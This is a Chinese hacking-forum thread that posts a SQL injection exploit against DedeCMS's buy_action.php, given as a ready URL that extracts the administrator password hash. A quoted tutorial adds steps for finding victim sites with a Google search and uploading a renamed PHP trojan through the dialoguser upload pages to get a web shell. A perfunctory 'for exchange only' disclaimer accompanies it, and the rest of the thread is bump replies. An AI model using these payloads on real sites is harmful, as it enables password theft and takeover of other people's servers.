dedecms最新注射漏洞
未测试……注释：先注册..输入地址后。要等一会刷新就可以看到密码了
问题出现在buy_action.php
没有对pid传递进行足够的重视
导致出现SQL注射问题!
注册地址
[code]/member/index_do.php?fmdo=user&dopost=regnew
[/code]爆管理员密码
[code]/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/* [/code]
相关教程（政政提醒：只做交流只用，用于非法用途后果自负）
[quote]
首先在
GOOGLE搜Power by DedeCms
先注册一个号,注册成功后
直接输入下面的
include/dialoguser/select_soft.php或者
include/dialoguser/select_media.php
然后上传一个PHP马，
先要改下后缀，改可以上传的就可以了，然后再改名的地址输入 木马名字.PHP
上传成功
直接访问
http://所在目录的路径/木马名字.php
一个SHELL就拿到了。。
[/quote]
顶了顶了顶了
顶了顶了顶了顶了顶了:lol还得顶
*** 作者被禁止或删除 内容自动屏蔽 ***支持就是顶!!
*** 作者被禁止或删除 内容自动屏蔽 ***页:
[1]